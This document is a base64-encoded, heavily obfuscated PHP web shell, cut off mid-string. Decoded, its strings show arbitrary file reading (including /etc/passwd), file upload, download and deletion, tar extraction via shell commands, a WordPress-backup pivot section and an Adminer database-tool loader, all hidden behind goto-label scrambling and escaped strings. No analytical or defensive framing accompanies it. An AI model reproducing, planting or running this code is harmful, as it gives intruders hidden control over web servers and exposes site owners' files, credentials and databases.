XFx4NjFcXHg2ZVxcNDdcXDE2NFxcNDBcXHg3MlxceDY1XFx4NjFcXHg2NFxceDIwXFx4MmZcXDE0NVxcMTY0XFx4NjNcXHgyZlxceDcwXFx4NjFcXHg3M1xceDczXFwxNjdcXHg2NFxceDNjXFx4MmZcXDE0NlxcMTU3XFwxNTZcXHg3NFxcNzZcXDc0XFw1N1xcMTQzXFwxNDVcXHg2ZVxcMTY0XFwxNDVcXHg3MlxcNzZcIjsgZ290byB1aHEzWjsgaEtMV3c6IE1EZndvOiBnb3RvIGg3ck9lOyB0b1B6bzogcDRTbEI6IGdvdG8gTzloT2I7IFNDSDY1OiBnb3RvIFNuS2dHOyBnb3RvIHFneHJyOyBZSUhMYjogZ290byBid2lyWjsgZ290byBEVThSVzsgcDlVRlE6ICRia2QxcCA9IEpmTlZzKFwiXFx4NjdcXDE0M1xceDYzXFx4MjBcXDU1XFw1NVxceDY4XFwxNDVcXDE1NFxcMTYwXCIpID8gXCJcXDc0XFx4NjZcXHg2ZlxceDZlXFx4NzRcXHgyMFxceDYzXFx4NmZcXHg2Y1xcMTU3XFx4NzJcXHgzZFxceDIzXFw2MFxcNjBcXHgzNlxcNjZcXHgzMFxcNjBcXDc2XFwxMTdcXHg0ZVxcNzRcXHgyZlxcMTQ2XFx4NmZcXDE1NlxcMTY0XFw3NlwiIDogXCJcXDc0XFwxNDZcXHg2ZlxceDZlXFwxNjRcXHgyMFxceDYzXFx4NmZcXDE1NFxcMTU3XFwxNjJcXDc1XFx4NzJcXDE0NVxceDY0XFx4M2VcXDExN1xcMTA2XFx4NDZcXDc0XFw1N1xcMTQ2XFwxNTdcXHg2ZVxcMTY0XFw3NlwiOyBnb3RvIFFjZXVYOyBNSDA5cTogZ290byBlVjlzRTsgZ290byBZUktfTjsgQk04cGY6IFd5MzdoOiBnb3RvIFBFQzZ4OyBUWG1pcDogbzZZVV86IGdvdG8gQk1ZT287IFVMcXBEOiB4MGhlRjogZ290byBIeUtjSjsgazd0ZXI6IHdFUDVsOiBnb3RvIENJbkxmOyB4MTNtdzogZ290byBJc3lXaDsgZ290byBwbUJRdzsgdlRlY1Q6IHExdVNKOiBnb3RvIHNNTE1FOyBzR0x0STogZ290byBWaDBxcDsgZ290byBFWHVvdzsgVGtlVkI6IGlmICgkX1BPU1RbXCJcXHg3M1xcMTQxXFwxNjZcXHg2NVwiXSkgeyBnb3RvIFJKNUpuOyB9IGdvdG8gZEFiVlU7IFBLeDdiOiBPd3kxRDogZ290byBxSVR0eDsgTmJaTkE6IGdvdG8gVzhKZGk7IGdvdG8gdDVIaW47IE90U3ExOiBjWHl6MDogZ290byBWcTgxbDsgd1VyckI6IHZDY0F5OiBnb3RvIEpMUER3OyBveFpDWjogZ290byBYb1h3XzsgZ290byBlQUtTTjsgRVh1b3c6IGRIQ2xROiBnb3RvIEF3NzZmOyBlRjBMWTogblllVlE6IGdvdG8gSzV4bGk7IFU5OGVROiBnb3RvIFFhOVRXOyBnb3RvIGQwWXYyOyBmN2NCYTogcE5ZYU06IGdvdG8geGJ4RlE7IFFWMU9mOiBnb3RvIEh2YlhZOyBnb3RvIExfNGxrOyBpbmd4dDogVUZFRFQ6IGdvdG8gVVFndFU7IGhURlRDOiBmMmVtbDogZ290byBUMkJFdDsgR1RaUl86IGVjaG8gXCJcXHgzY1xcMTQ2XFwxNTdcXDE2MlxceDZkXFw0MFxceDZkXFx4NjVcXDE2NFxcMTUwXFx4NmZcXHg2NFxceDNkXFx4NzBcXDE1N1xcMTYzXFwxNjRcXDQwXFx4NjVcXDE1NlxceDYzXFwxNjRcXHg3OVxcMTYwXFx4NjVcXHgzZFxceDZkXFx4NzVcXHg2Y1xceDc0XFwxNTFcXDE2MFxceDYxXFx4NzJcXDE2NFxceDJmXFx4NjZcXDE1N1xceDcyXFwxNTVcXDU1XFx4NjRcXHg2MVxcMTY0XFx4NjFcXDc2XCI7IGdvdG8gcXBXZEo7IG4zNk5WOiBaWjlNcjogZ290byBvT1Y5UTsga0ZyR3M6IHp3Nm5iOiBnb3RvIGRjNmxROyBPbjZ6ajogSXN5V2g6IGdvdG8gZlpuOXM7IFU0Y3A1OiBpZiAoISgkX0dFVFtcIlxceDY3XFwxNjJcXHg2MVxcMTQyXCJdID09IFwiXFwxNjdcXDE2MFxceDVmXFwxNTdcXDE2MFxcMTY0XFx4NjlcXDE1N1xceDZlXFx4NzNcIikpIHsgZ290byBNeUMyTTsgfSBnb3RvIHluQ0EwOyBDRjQ4WDogZ290byByYTZZMzsgZ290byBvSlhPNzsgSXlIdkw6IHhBWENMOiBnb3RvIHRpSTVLOyBYMW5ibTogaWYgKCRfR0VUW1wiXFx4NjFcXDE0M1xceDc0XFwxNTFcXHg2ZlxceDZlXCJdID09IFwiXFwxNDRcXHg2ZlxcMTY3XFwxNTZcXHg2Y1xcMTU3XFx4NjFcXDE0NFwiKSB7IGdvdG8gdzI0Unk7IH0gZ290byBUekFBYzsgUHZpYXo6IGtrNTVvOiBnb3RvIGc2amNYOyBiMElFUDogZWNobyBcIlxceGFcIiAuIFwiXFwxMzNcXHg0NVxcMTMwXFwxMjRcXDEyMlxceDQxXFwxMDNcXHg1NFxceDQ1XFwxMDRcXHg1ZFxcNDBcXHgzY1xceDYxXFw0MFxcMTUwXFwxNjJcXHg2NVxcMTQ2XFx4M2RcXDQyXFw3N1xceDcwXFx4NjFcXHg3NFxceDY4XFw3NVwiIC4gJEZfMldEIC4gXCJcXDQyXFx4M2VcIiAuICRGXzJXRCAuIFwiXFx4M2NcXDU3XFwxNDFcXDc2XCIgLiBcIlxceGFcIjsgZ290byBhcElkaTsgRDgwTGE6IGJrYndNOiBnb3RvIEFBa2ZsOyBXTm50ZzogZ290byBvNFJCMjsgZ290byB3NTBqajsgSWRfcWQ6IHQxUzBFOiBnb3RvIEdNdU1ZOyBCenBwRTogZ290byBFTEFWSzsgZ290byBCWGNwdDsgWTNGVnQ6IEpmblZzKFwiXFwxNjRcXDE0MVxcMTYyXFx4MjBcXHgyZFxcMTcwXFwxNzJcXHg3NlxceDY2XFw0MFwiIC4gJG5nREJoIC4gXCJcXHgyMFxceDJkXFx4NDNcXHgyMFwiIC4gJEZfMldEKTsgZ290byBLQ194azsgd2xzalU6IGdvdG8gQnBPN2U7IGdvdG8gZ2tqTDg7IGJuRGpCOiBnb3RvIEdnZnRYOyBnb3RvIFo3OHZCOyBIQWNmQjogY0tfRW06IGdvdG8gQ29SV2o7IGJ5YWlFOiBpUkIxZzogZ290byBRVjFPZjsgS0tBeFo6IGdvdG8gaGZkbEk7IGdvdG8gYlJLWHg7IEZyN2dvOiBlY2hvIFwiXFx4M2NcXDE2NFxcMTQ1XFx4NzhcXDE2NFxcMTQxXFwxNjJcXDE0NVxceDYxXFx4MjBcXHg2M1xcMTU0XFx4NjFcXDE2M1xceDczXFx4M2RcXHgyN1xceDc0XFwxNzBcXHg2MVxceDcyXFwxNDVcXDE0MVxceDI3XFw0MFxcMTYzXFx4NzRcXHg3OVxcMTU0XFwxNDVcXDc1XFw0N1xceDY4XFx4NjVcXHg2OVxceDY3XFx4NjhcXDE2NFxcNzJcXDY0XFw2MFxcNjBcXDE2MFxcMTcwXFw3M1xceDI3XFx4MjBcXHg3MlxcMTQ1XFwxNDFcXHg2NFxceDZmXFwxNTZcXDE1NFxcMTcxXFw3NlwiIC4gaHRtbHNwZWNpYWxjaGFycyhAZmlsZV9nZXRfY29udGVudHMoJF9HRVRbXCJcXDE0NlxceDY5XFwxNTRcXDE0NVwiXSkpIC4gXCJcXDc0XFw1N1xcMTY0XFx4NjVcXHg3OFxceDc0XFwxNDFcXDE2MlxcMTQ1XFx4NjFcXDc2XCI7IGdvdG8gWlBNQ2c7IFJKX3ZPOiBhZU4zcjogZ290byB6NXFZRTsgbnM2SjM6IGswT3RGOiBnb3RvIGhURlRDOyB2VDEySDogeFJGQlc6IGdvdG8gRjZBM0s7IFBZMVBwOiB2NTU3SzogZ290byBqMWhTaTsgeGY4YVI6IGdvdG8gdWhNUnU7IGdvdG8gajJYcVc7IHIwb3JJOiBnb3RvIE5tTEhBOyBnb3RvIGI4RTR5OyByN284QzogRllSQ006IGdvdG8geVo4b2M7IGVKNUdfOiBpZiAoISRQMXViQSkgeyBnb3RvIG9HRUNnOyB9IGdvdG8gRkZta2U7IEhIdTRiOiBnb3RvIGc1VlpsOyBnb3RvIE9taEhEOyBVUWd0VTogZ290byB0NXRsYTsgZ290byBJdXQ3bjsgeFhWZ2g6IGxMa3JuOiBnb3RvIFBFVm43OyBYdzlqeDogZ290byBlMnhRYzsgZ290byBMQ2NJRjsgdFNwNzE6IGdvdG8geDBoZUY7IGdvdG8gZUYwTFk7IHczSEN3OiBSdEZBYjogZ290byB0a0JhVzsgc0FMQ2g6IGdvdG8gSlkyMDM7IGdvdG8gYnIzS2U7IFZiMkVyOiBpZiAoJF9QT1NUW1wiXFwxNTVcXHg3OVxceDczXFwxNjFcXHg2Y1xcMTM3XFx4NjlcXDE1NlxcMTY0XCJdID09IFwiXFwxMDNcXDE0MVxcMTU0XFx4NmNcXDQwXFx4NDFcXHg2NFxceDZkXFx4NjlcXDE1NlxceDY1XFx4NzJcXDQwXFw2NFxceDJlXFw2M1xceDJlXFx4MzFcIikgeyBnb3RvIE80X2JVOyB9IGdvdG8gSzI3Y3Y7IE1Ibl8wOiB2MmxQazogZ290byBTZGc4ZTsgQ2NxeGI6ICRGMHYwUiA9ICRfUE9TVFtcIlxcMTY3XFwxNjBcXDE2NVxceDczXFx4NjVcXDE2MlwiXTsgZ290byBPc003RjsgQ3h5WFI6IGVjaG8gXCJcXDc0XFwxNjBcXDE2MlxcMTQ1XFw3NlxceDNjXFx4NjRcXHg2OVxceDc2XFx4MjBcXHg2M1xceDZjXFwxNDFcXDE2M1xceDczXFw3NVxceDI3XFwxNTVcXHg2MVxcMTYyXFwxNDdcXHg2OVxcMTU2XFx4M2FcXDQwXFw2NVxcMTYwXFwxNzBcXHgyMFxcMTQxXFx4NzVcXDE2NFxcMTU3XFw3M1xcNDdcXHgzZVwiOyBnb3RvIEtwVnowOyBSR1NHTjogRVl0TXA6IGdvdG8gSTM3M287IFpReXd0OiBpZ2tIYzogZ290byBsMkpzUTsgamxfYmQ6IGdvdG8gV0JfeXY7IGdvdG8gdXI5M1c7IFpjUldyOiBnb3RvIHNFTWtOOyBnb3RvIHZTYVlwOyBFS3dIcjogaWYgKCEoJF9HRVRbXCJcXHg2MVxcMTQzXFwxNjRcXDE1MVxceDZmXFx4NmVcIl0gPT0gXCJcXHg3MlxcMTU1XFwxNDRcXHg2OVxcMTYyXCIpKSB7IGdvdG8gUEh2NG87IH0gZ290byBPd0wzVjsgYWJ3RDk6IEdmekNGOiBnb3RvIG1CVjdSOyBmTzAwSjogZWNobyBcIlxceDNjXFx4NjJcXDc2XFwxMjVcXDE2MFxceDZjXFx4NmZcXHg2MVxcMTQ0XFx4MjBcXDEwNlxceDYxXFwxNTFcXHg2Y1xcMTQ1XFwxNDRcXHgyZVxceDNjXFw1N1xceDYyXFw3NlwiOyBnb3RvIFRGaHI0OyBEZ1JSaDogZ290byB4SjEwSjsgZ290byBpVDV0RTsgTUlNaTc6IGdvdG8gRlFTSXg7IGdvdG8gS1dDaVI7IFhEUXZSOiBNNE1HczogZ290byBPajk0YTsgT0x0NmU6IGlmIChlbXB0eSgkX0dFVFtcIlxceDY2XFx4NjlcXDE1NFxceDY1XCJdKSkgeyBnb3RvIFlOZm5MOyB9IGdvdG8gUGFGMVg7IGpGNmRBOiBXOEpkaTogZ290byBHTzhIbDsgWUszbV86IEl5Q0REOiBnb3RvIGtvNm4yOyBMWjBMUjogZ290byBuTHp2bjsgZ290byBHVjI4STsgWHdEN2g6IGdvdG8gb2dqTWI7IGdvdG8gSnlDZmI7IHBtQlF3OiBEUjlTYjogZ290byB4Rng5dTsgVURBbDY6IFNmdTRNOiBnb3RvIEE5TTliOyBNMkY0QjogRFhqaHA6IGdvdG8gUGRyUWY7IGxJN3NmOiBnb3RvIEttTE9fOyBnb3RvIHBZTTJIOyBzUE00MDogVnBJSko6IGdvdG8galZ0b2g7IGwzb29OOiBnb3RvIGZjR19DOyBnb3RvIGZBRjFUOyBUSXZ1OTogZ290byB2b0t4VDsgZ290byBwOHVjQzsgR011TVk6IGVjaG8gXCJcXHgzY1xceDY4XFw2MlxceDNlXFw1NlxceDNhXFx4M2FcXDEzM1xceDIwXFx4NGFcXHg3NVxceDZkXFx4NzBcXDE1MVxceDZlXFx4NjdcXDQwXFx4NDZcXHg3MlxceDZmXFwxNTVcXDQwXFx4NDJcXHg2MVxceDYzXFx4NmJcXHg3NVxcMTYwXFx4MjBcXHg1N1xceDZmXFwxNjJcXHg2NFxceDcwXFx4NzJcXDE0NVxceDczXFwxNjNcXHgyMFxcMTM1XFx4M2FcXDcyXFx4MmVcXDc0XFx4MmZcXHg2OFxceDMyXFx4M2VcIjsgZ290byBteDRIajsgWVBaMWg6IGVjaG8gXCJcXHg0NlxcMTAxXFx4NDlcXHg0Y1xceDQ1XFx4NDRcXHgyMVwiOyBnb3RvIGNSWjZLOyBKYVhDczogSEVrcHY6IGdvdG8gcmFDNF87IGRyUUg3OiBnb3RvIHNaSTdyOyBnb3RvIGxTWEJxOyBBREhYQTogZ290byB4UkZCVzsgZ290byB4TUVhWDsgZWJkOFY6IGZvcmVhY2ggKCRRVXdMSiBhcyAkdWNpc0QpIHsgZ290byBMcU5lcjsgdGI2bjY6IFdPa2hnOiBnb3RvIHR3X2VGOyBIa2EwRjogTEhqa1o6IGdvdG8gSmU0QUw7IENvV1dLOiBENEZYZzogZ290byBNVm9zOTsga0VuN286IGpQdXU2OiBnb3RvIFVnQkhMOyBkTHlZcDogZ290byBBTmJWNjsgZ290byByblAxTjsgcm5QMU46IHlrcEtaOiBnb3RvIE04RGxSOyBlczBsSTogZ290byBqUHV1NjsgZ290byBwcjJ0cDsgb0E2blM6IGVjaG8gXCJcXDc0XFwxNDFcXDQwXFwxNTBcXHg3MlxceDY1XFwxNDZcXHgzZFxceDIyXFx4M2ZcXHg2MVxceDYzXFx4NzRcXHg2OVxceDZmXFx4NmVcXDc1XFx4NzJcXDE0NVxceDZlXFwxNDFcXHg2ZFxceDY1XFx4MjZcXDE0NlxcMTUxXFwxNTRcXHg2NVxcNzVcIiAuICR1SnpXNiAuIFwiXFx4MmZcIiAuICR1Y2lzRCAuIFwiXFw0MlxceDIwXFwxNDNcXHg2Y1xceDYxXFx4NzNcXDE2M1xceDNkXFw0MlxcMTQxXFx4NjNcXHg3NFxceDIyXFw3NlxcMTIyXFx4NDVcXDExNlxcMTAxXFwxMTVcXHg0NVxceDNjXFw1N1xcMTQxXFw3NlxceDIwXCI7IGdvdG8gYzVfSUY7IHR3X2VGOiBlY2hvIFwiXFw3NFxcNTdcXHg3NFxceDcyXFx4M2VcIiAuIFwiXFwxMlwiOyBnb3RvIGRMeVlwOyBaY2lDcDogT21QdEw6IGdvdG8gcm1VMm87IFZMcGRoOiBlY2hvIFwiXFx4M2NcXDU3XFx4NzRcXDE0NFxceDNlXCIgLiBcIlxcMTJcIjsgZ290byB4amYyajsgTHFOZXI6IGdvdG8gUmFPbW87IGdvdG8gSGthMEY7IHZDYURtOiBnb3RvIEQ0RlhnOyBnb3RvIHZWQjFSOyBJbVhFRTogUGJlYnQ6IGdvdG8gbVFYZXg7IG1wdEZoOiBMbE9rNzogZ290byBvQTZuUzsgVWdCSEw6IEcxQmgyKCR1SnpXNiAuIFwiXFw1N1wiIC4gJHVjaXNEKTsgZ290byB1a2NBZjsgQVpBclk6IGdvdG8gVGFIeUs7IGdvdG8ga0VuN287IHJtVTJvOiBnb3RvIGdXMW52OyBnb3RvIEFvSnRnOyBwcjJ0cDogVnNiSTE6IGdvdG8gc1BWSjg7IHNQVko4OiBlY2hvIFwiXFw3NFxcMTQxXFw0MFxcMTUwXFwxNjJcXDE0NVxcMTQ2XFx4M2RcXHgyMlxcNzdcXDE0MVxcMTQzXFx4NzRcXDE1MVxceDZmXFwxNTZcXHgzZFxcMTYyXFx4NmRcXHg2NFxcMTUxXFx4NzJcXHgyNlxceDY2XFx4NjlcXHg2Y1xcMTQ1XFw3NVwiIC4gJHVKelc2IC4gXCJcXHgyZlwiIC4gJHVjaXNEIC4gXCJcXHgyMlxcNDBcXHg2M1xcMTU0XFx4NjFcXDE2M1xcMTYzXFx4M2RcXDQyXFwxNDFcXDE0M1xceDc0XFx4MjJcXHgzZVxceDQ0XFwxMDVcXDExNFxceDQ1XFwxMjRcXDEwNVxceDNjXFx4MmZcXHg2MVxcNzZcIjsgZ290byBBWkFyWTsgYTlPN3c6IGdvdG8gTGxPazc7IGdvdG8gbXB0Rmg7IGFVaHJhOiBlY2hvIFwiXFx4M2NcXDE2NFxceDcyXFw3NlxcNzRcXDE2NFxceDY0XFx4M2VcXDc0XFx4NzNcXDE2MFxceDYxXFwxNTZcXHgyMFxceDYzXFwxNTRcXHg2MVxceDczXFwxNjNcXHgzZFxceDIyXFx4NjRcXDE0MlxceDZmXFwxNzBcXHgyMlxcNzZcXHg1YlxceDQ0XFx4NWRcXHgzY1xcNTdcXHg3M1xcMTYwXFwxNDFcXHg2ZVxceDNlXFw0MFxceDNjXFwxNDFcXHgyMFxcMTUwXFx4NzJcXHg2NVxcMTQ2XFw3NVxcNDJcXHgzZlxcMTYwXFwxNDFcXDE2NFxcMTUwXFx4M2RcIiAuICR1SnpXNiAuIFwiXFw1N1wiIC4gJHVjaXNEIC4gXCJcXDQyXFx4M2VcIiAuICR1Y2lzRCAuIFwiXFw1N1xceDNjXFw1N1xcMTQxXFw3NlxcNzRcXHgyZlxceDc0XFx4NjRcXHgzZVwiIC4gXCJcXDEyXCI7IGdvdG8gZ29nR2I7IEplNEFMOiBlY2hvIFwiXFx4M2NcXHg3NFxceDY0XFw3NlwiOyBnb3RvIGVzMGxJOyBNOERsUjogZWNobyBcIlxcNzRcXHgyZlxceDc0XFwxNDRcXHgzZVwiIC4gXCJcXDEyXCI7IGdvdG8gdkNhRG07IHhqZjJqOiBnb3RvIFdPa2hnOyBnb3RvIEJrcnRIOyBBb0p0ZzogVGFIeUs6IGdvdG8gVkxwZGg7IHZWQjFSOiBSYU9tbzogZ290byBhVWhyYTsgYzVfSUY6IGdvdG8gVnNiSTE7IGdvdG8gdGI2bjY7IGZfMXpyOiBBTmJWNjogZ290byBaY2lDcDsgTVZvczk6IGVjaG8gXCJcXDc0XFwxNjRcXHg2NFxcNDBcXDE0M1xceDZjXFwxNDFcXHg3M1xceDczXFx4M2RcXHgyMlxceDYxXFx4NjNcXDE2NFxceDIyXFx4M2VcIjsgZ290byBhOU83dzsgQmtydEg6IGdXMW52OiBnb3RvIEltWEVFOyBnb2dHYjogZ290byBMSGprWjsgZ290byBmXzF6cjsgdWtjQWY6IGdvdG8geWtwS1o7IGdvdG8gQ29XV0s7IG1RWGV4OiB9IGdvdG8gYnpOUFg7IHRpSTVLOiBaVDF2MDogZ290byBJVE9zbDsgWFoySjk6IFdaZEdpOiBnb3RvIEd6UkZZOyBmYWQybjogJFBMVFRhID0gXCJcXDc0XFwxNDZcXDE1N1xcMTU2XFwxNjRcXDQwXFwxNDNcXDE1N1xceDZjXFx4NmZcXDE2MlxceDNkXFx4MjNcXHgzMFxceDMwXFw2NlxceDM2XFw2MFxcNjBcXHgzZVxceDUzXFx4NzVcXHg2M1xceDYzXFwxNDVcXDE2M1xcMTYzXFwxNDVcXHg2NFxcNDFcXHgzY1xcNTdcXHg2NlxceDZmXFx4NmVcXDE2NFxceDNlXCI7IGdvdG8gWDN3eVE7IEExQW82OiBnb3RvIHBqWFl0OyBnb3RvIHV3RnlJOyBGczRRWjogJGRjNHU4ID0gZnVuY3Rpb25fZXhpc3RzKFwiXFx4NjNcXDE2NVxceDcyXFx4NmNcXDEzN1xceDc2XFx4NjVcXDE2MlxceDczXFwxNTFcXDE1N1xcMTU2XCIpID8gXCJcXHgzY1xcMTQ2XFx4NmZcXDE1NlxcMTY0XFx4MjBcXHg2M1xceDZmXFx4NmNcXDE1N1xceDcyXFw3NVxcNDNcXDYwXFx4MzBcXDY2XFx4MzZcXHgzMFxcNjBcXDc2XFwxMTdcXDExNlxcNzRcXHgyZlxcMTQ2XFx4NmZcXDE1NlxcMTY0XFw3NlwiIDogXCJcXDc0XFx4NjZcXDE1N1xcMTU2XFwxNjRcXDQwXFwxNDNcXHg2ZlxcMTU0XFx4NmZcXDE2MlxceDNkXFwxNjJcXDE0NVxceDY0XFw3NlxcMTE3XFx4NDZcXDEwNlxceDNjXFx4MmZcXHg2NlxceDZmXFx4NmVcXHg3NFxcNzZcIjsgZ290byBXVE1sNDsgYzNEOUM6IGdvdG8gZkJiRHo7IGdvdG8gdE9pdEM7IFMyR0JmOiBnb3RvIHR0RVRHOyBnb3RvIFBZMVBwOyBpQldSRTogc3FfMDY6IGdvdG8gdWtVSTM7IHZ5RVg4OiBlY2hvIFwiXFw3NFxcMTUxXFwxNTZcXDE2MFxcMTY1XFx4NzRcXDQwXFx4NmVcXDE0MVxceDZkXFx4NjVcXDc1XFx4MjJcXDE1NVxceDc5XFx4NzNcXHg3MVxcMTU0XFx4NWZcXHg2OVxcMTU2XFwxNjRcXHgyMlxcNDBcXHg3NFxceDc5XFx4NzBcXHg2NVxcNzVcXHgyMlxcMTYzXFx4NzVcXDE0MlxcMTU1XFwxNTFcXDE2NFxceDIyXFw0MFxceDc2XFwxNDFcXHg2Y1xcMTY1XFx4NjVcXHgzZFxcNDJcXDEwM1xceDYxXFwxNTRcXHg2Y1xcNDBcXHg0MVxceDY0XFx4NmRcXDE1MVxceDZlXFwxNDVcXHg3MlxcNDBcXDY0XFw1NlxcNjNcXHgyZVxceDMxXFw0MlxcNzZcXDc0XFx4NjJcXDE2MlxceDNlXCI7IGdvdG8gamxfYmQ7IHlUVXdNOiBnb3RvIEZfWXlsOyBnb3RvIERFZ1ZVOyBwanVMSTogZ290byB5c0dZNzsgZ290byBvQXRIcDsgWUJsSTc6IE5sZ1kzOiBnb3RvIHJ3R3ZtOyBjS3ZEcjogTkdYMkI6IGdvdG8gQnBHZlM7IE85aE9iOiBlY2hvIFwiXFw3NFxcMTQyXFwxNjJcXDc2XFwxMjRcXHg2ZlxceDc0XFwxNDFcXHg2Y1xcNDBcIiAuICRkM2dTMCAuIFwiXFw0MFxcMTI1XFwxNjNcXHg2NVxceDcyXFx4NzNcXDQwXFx4NjlcXHg2ZVxcNDBcIiAuIGdldGhvc3RieW5hbWUoJF9TRVJWRVJbXCJcXDExMFxcMTI0XFwxMjRcXHg1MFxceDVmXFwxMTBcXHg0ZlxceDUzXFx4NTRcIl0pIC4gJyc7IGdvdG8gc3pMYU47IGtHRXRoOiBGTGRhdzogZ290byB1TEJuSDsgRWZ5eGU6IGdvdG8gY1FXZWQ7IGdvdG8gak9QRjI7IG83c3JLOiBxMUpTNDogZ290byBFelg2VzsgZ282Tmo6IGdvdG8geEFYQ0w7IGdvdG8gQ1ZnRDQ7IEJYTjZvOiBrclE0eTogZ290byBRVDFPajsgeU9jTmE6IGdvdG8gT3ZqcFY7IGdvdG8gVjBWcWk7IE9UM0xtOiBnb3RvIFIxOV80OyBnb3RvIHAyVVpiOyBZTmtnTDogJEVmTU9oID0gJF9TRVJWRVJbXCJcXDEwNFxcMTE3XFwxMDNcXDEyNVxcMTE1XFx4NDVcXDExNlxcMTI0XFwxMzdcXHg1MlxcMTE3XFwxMTdcXHg1NFwiXSAuIFwiXFw1N1xceDc0XFx4NmRcXDE2MFxcNTdcIjsgZ290byB1amZvODsga2hIVlM6IGhlYWRlcihcIlxceDQzXFwxNTdcXHg2ZVxceDc0XFwxNDVcXDE1NlxcMTY0XFx4MmRcXHg0NFxceDY1XFwxNjNcXDE0M1xcMTYyXFwxNTFcXDE2MFxceDc0XFx4NjlcXDE1N1xcMTU2XFw3MlxcNDBcXHg0NlxcMTUxXFwxNTRcXHg2NVxceDIwXFwxMjRcXDE2MlxceDYxXFx4NmVcXDE2M1xceDY2XFwxNDVcXHg3MlwiKTsgZ290byBZQ3RLdDsgdkUxMjA6IFdiUU96OiBnb3RvIFlJSExiOyBxVDFhQTogZ290byBtQ1ZZMzsgZ290byByVGhHbjsgUnY4RTY6IGdvdG8gQlZsVk87IGdvdG8gRzFVMHQ7IHhoQTB3OiBnb3RvIG1nNW5yOyBnb3RvIERyS3FKOyBQdFU1VTogZ290byBjNER3ODsgZ290byBtTnYyNzsgWUY4aWc6IGdvdG8gazl5Rkw7IGdvdG8geHFSNnQ7IFVDU0U4OiBxWGdWNzogZ290byBYT2x1WDsgeTNNT2w6IEc1RmowOiBnb3RvIGdMQzZSOyBiUktYeDogVzBTUG06IGdvdG8gZ25fVVM7IGZvUzZ0OiBnb3RvIHdFUDVsOyBnb3RvIGNtTzBFOyBZMmFISDogb3U5OVg6IGdvdG8gQWwyb0s7IFFYTlp0OiBtZDBmYjogZ290byB4d2Z3XzsgUEF0RlY6IGdvdG8gT0RUSWo7IGdvdG8gYURJVHE7IE9oaG94OiAkaGpEQWggPSAkX1BPU1RbXCJcXHg3N1xcMTYwXFx4NjRcXDE0MlwiXTsgZ290byBQN2dKcjsgUkNvR0g6IGdvdG8gSHVMcHE7IGdvdG8gdTZYa3U7IFZxODFsOiBnb3RvIGswVEVEOyBnb3RvIGZXMjVqOyBqT1BGMjoganhURmk6IGdvdG8gVUFERDA7IGdOX3hYOiBleGl0OyBnb3RvIHhlUlh5OyBPd0wzVjogZ290byBvZ2l4NDsgZ290byBwZ1NaeDsgaE5TdGQ6IEt4MkhqOiBnb3RvIEZVRDczOyB4VzhibDogRVYxZWo6IGdvdG8gTFZfZW07IER6TVg4OiBnb3RvIGNnNDF2OyBnb3RvIE0zRlFwOyBPdWQ3eDogZ290byBabHE3VzsgZ290byBCRFgxMDsgc01MTUU6IGdvdG8gTUVJS0w7IGdvdG8gd2xzalU7IFRJV3BCOiBnb3RvIHA1cE94OyBnb3RvIGZ6ZDMxOyBDSW5MZjogZWNobyBcIlxcNzRcXDE0NlxcMTU3XFx4NmVcXHg3NFxceDIwXFwxNDNcXHg2ZlxcMTU0XFx4NmZcXDE2MlxceDNkXFw0MlxcMTYyXFwxNDVcXHg2NFxceDIyXFx4M2VcXDEzM1xcMTA2XFx4NDFcXDExMVxceDRjXFwxMDVcXHg0NFxcMTM1XFx4M2NcXHgyZlxceDYxXFx4M2VcIjsgZ290byBtYXdlWTsgY09NQlI6ICRFZk1PaCA9IGRpcm5hbWUoJF9TRVJWRVJbXCJcXHg0NFxceDRmXFwxMDNcXHg1NVxcMTE1XFx4NDVcXHg0ZVxceDU0XFx4NWZcXDEyMlxceDRmXFx4NGZcXDEyNFwiXSkgLiBcIlxceDJmXFwxNjRcXHg2ZFxceDcwXFx4MmZcIjsgZ290byB3cFRrMDsgUU4zWHQ6IGdvdG8gV2JRT3o7IGdvdG8gWHJualg7IHFlZ1E2OiBnb3RvIE00TUdzOyBnb3RvIGFFQXBOOyBrbzZuMjogZ290byBrX2ZZVTsgZ290byBNME1xWjsgWGZTOTk6IGdvdG8gaUxQVHg7IGdvdG8gYVY4M0o7IEtRalZwOiBIZmc5TTogZ290byBOSGpKcDsgRFVGZ2Y6IHkzYm5LOiBnb3RvIFptQW1hOyBWb0RmdjogZ290byBMOU9ZZjsgZ290byBzUE00MDsgRVdYQlE6IFNuS2dHOiBnb3RvIEZwU1NJOyBHUzN0MDogZ290byBHNUZqMDsgZ290byBkbDZncDsgSzhUVzg6ICRuZ0RCaCA9ICRfR0VUW1wiXFwxNDdcXDE3MlxcMTU2XFx4NjFcXDE1NVxcMTQ1XCJdOyBnb3RvIEtKd1FKOyBnVDJQZDogZ290byBhbzBhcTsgZ290byBZTTNkNDsgWE8zRmk6IGVjaG8gXCJcXDEyXFx4M2NcXDE0NlxceDZmXFx4NmVcXHg3NFxceDIwXFwxNDNcXHg2ZlxcMTU0XFwxNTdcXHg3MlxceDNkXFx4MjNcXHgzMFxcNjBcXDY2XFw2NlxcNjBcXHgzMFxceDNlXFx4NTRcXDE2MlxcMTcxXFw0MFxcMTA2XFwxNTdcXHg3MlxceDYzXFwxNDVcXHgyMFxceDQ0XFx4NjVcXDE1NFxceDY1XFwxNjRcXDE0NVxceDIxXFx4M2NcXHgyZlxceDY2XFwxNTdcXHg2ZVxcMTY0XFw3NlxceGFcXDc0XFwxNDJcXDE2MlxcNzZcIjsgZ290byBZYXNsRDsgRDdETEQ6IE1FSUtMOiBnb3RvIFh2YXMwOyBJREliUDogZWNobyAkR0V1Sno7IGdvdG8gaW1oQ247IHprZ2ZOOiBAb2JfY2xlYW4oKTsgZ290byBEZGhETjsgRWxmM3A6IERtSnY0OiBnb3RvIHBzZDNNOyBFZEZwWTogZ290byBZVmJDSjsgZ290byBJZF9xZDsgamJZanM6IGswVEVEOiBnb3RvIFo3S3FHOyBMTnJIMjogZ290byB4TkJGczsgZ290byB2VGVjVDsgb09WOVE6IHkwVkZCOiBnb3RvIFhmUzk5OyBLYmU1MjogZ290byBpZnpvRDsgZ290byBmaHlqcDsgb2I1RW86IEZjZENVOiBnb3RvIERNN0ZiOyBEd0ZtVjogZWNobyAkR0V1Sno7IGdvdG8geHhiZV87IHFPTVdYOiBaYXR2azogZ290byBYMW5ibTsgaXk2ZEQ6IGdvdG8gejQzSWo7IGdvdG8gUHp4V2Q7IEpUM0twOiAkdXZjQlEgPSBcIlxcMTUwXFwxNjRcXHg3NFxcMTYwXFx4NzNcXHgzYVxcNTdcXHgyZlxcMTY3XFwxNjdcXHg3N1xceDJlXFwxNDFcXDE0NFxcMTU1XFwxNTFcXDE1NlxcMTQ1XFwxNjJcXDU2XFx4NmZc